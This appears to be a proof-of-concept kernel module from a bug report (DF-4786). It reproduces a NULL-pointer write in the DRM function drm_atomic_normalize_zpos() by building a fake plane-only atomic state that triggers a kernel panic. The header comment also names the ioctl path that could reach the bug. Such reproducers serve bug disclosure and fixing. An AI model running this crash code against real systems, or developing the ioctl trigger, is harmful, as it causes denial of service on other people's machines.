DF-4786 / zposnull.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-4786 PoC — NULL-pointer write in drm_atomic_normalize_zpos() * sys/dev/drm/drm_blend.c:502-503 * * Bug: drm_atomic_normalize_zpos() iterates the planes of an atomic * transaction; when a plane's zpos changed and the plane is bound to a * CRTC, it does: * * new_crtc_state = drm_atomic_get_new_crtc_state(state, crtc); * new_crtc_state->zpos_changed = true; * * drm_atomic_get_new_crtc_state() (drm_atomic.h:441-447) returns NULL * "if the crtc is not part of the global atomic state". A plane-only * atomic transaction that only changes the mutable "zpos" property of an * already-bound plane produces exactly that state shape * (drm_atomic_check_only() does not materialize CRTC states for planes, * drm_atomic.c:961-1006), so the second line writes to NULL+offset. * * This module reproduces the kernel-side deref by calling the real, * in-tree drm_atomic_normalize_zpos() (exported by drm.ko) with the exact * state shape the ioctl path builds: * * - 1 plane in state->planes[0], old zpos 0, new zpos 1, * new_plane_state->crtc = fake crtc (index 0) * - state->crtcs[0].new_state == NULL (CRTC not in transaction) * * Expected: instant kernel panic, "Fatal trap 12: page fault while in * kernel mode", faulting rip inside drm_atomic_normalize_zpos, fault * virtual address = small constant (offset of zpos_changed in * drm_crtc_state). * * In-tree reachability note: the write is reachable from the unprivileged * (DRM-master) ioctl path DRM_IOCTL_MODE_OBJ_SETPROPERTY / * DRM_IOCTL_MODE_ATOMIC (drm_atomic_helper.c:916-920) for any driver that * sets dev->mode_config.normalize_zpos and exposes a mutable zpos * property. No in-tree DF driver currently sets normalize_zpos, so the * module substitutes for that driver half; the kernel half exercised * here is the stock, unmodified drm.ko. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <drm/drmP.h> #include <drm/drm_atomic.h> /* drm_atomic_normalize_zpos() prototype comes from <drm/drm_blend.h> * (pulled in by drmP.h) and the symbol itself from the stock drm.ko. */ static int zposnull_modevent(module_t mod, int type, void *data) { struct drm_device *dev; struct drm_atomic_state *state; struct drm_plane *plane; struct drm_plane_state *ps_old, *ps_new; struct drm_crtc *crtc; switch (type) { case MOD_LOAD: dev = kmalloc(sizeof(*dev), M_TEMP, M_WAITOK | M_ZERO); state = kmalloc(sizeof(*state), M_TEMP, M_WAITOK | M_ZERO); plane = kmalloc(sizeof(*plane), M_TEMP, M_WAITOK | M_ZERO); ps_old = kmalloc(sizeof(*ps_old), M_TEMP, M_WAITOK | M_ZERO); ps_new = kmalloc(sizeof(*ps_new), M_TEMP, M_WAITOK | M_ZERO); crtc = kmalloc(sizeof(*crtc), M_TEMP, M_WAITOK | M_ZERO); if (dev == NULL || state == NULL || plane == NULL || ps_old == NULL || ps_new == NULL || crtc == NULL) { kprintf("zposnull: alloc failed\n"); return ENOMEM; } state->planes = kmalloc(sizeof(*state->planes), M_TEMP, M_WAITOK | M_ZERO); state->crtcs = kmalloc(sizeof(*state->crtcs), M_TEMP, M_WAITOK | M_ZERO); if (state->planes == NULL || state->crtcs == NULL) { kprintf("zposnull: array alloc failed\n"); return ENOMEM; } /* drm_device: as the ioctl path would see it for 1 plane/1 crtc */ dev->mode_config.num_total_plane = 1; dev->mode_config.num_crtc = 1; state->dev = dev; /* crtc->index == 0 => drm_crtc_index(crtc) == 0 */ crtc->index = 0; /* * Plane transaction: plane already bound to the crtc (crtc * unchanged => CRTC_ID property not in the transaction => * no crtc state materialized), zpos changed 0 -> 1. */ ps_old->plane = plane; ps_old->zpos = 0; ps_new->plane = plane; ps_new->crtc = crtc; ps_new->zpos = 1; state->planes[0].ptr = plane; state->planes[0].old_state = ps_old; state->planes[0].new_state = ps_new; /* state->crtcs[0].* stay NULL: crtc not part of the state */ kprintf("zposnull: calling stock drm_atomic_normalize_zpos " "(expect NULL-deref panic)\n"); drm_atomic_normalize_zpos(dev, state); kprintf("zposnull: SURVIVED drm_atomic_normalize_zpos\n"); return 0; default: return EOPNOTSUPP; } } static moduledata_t zposnull_mod = { "zposnull", zposnull_modevent, NULL }; DECLARE_MODULE(zposnull, zposnull_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(zposnull, drm, 1, 1, 1); MODULE_VERSION(zposnull, 1); |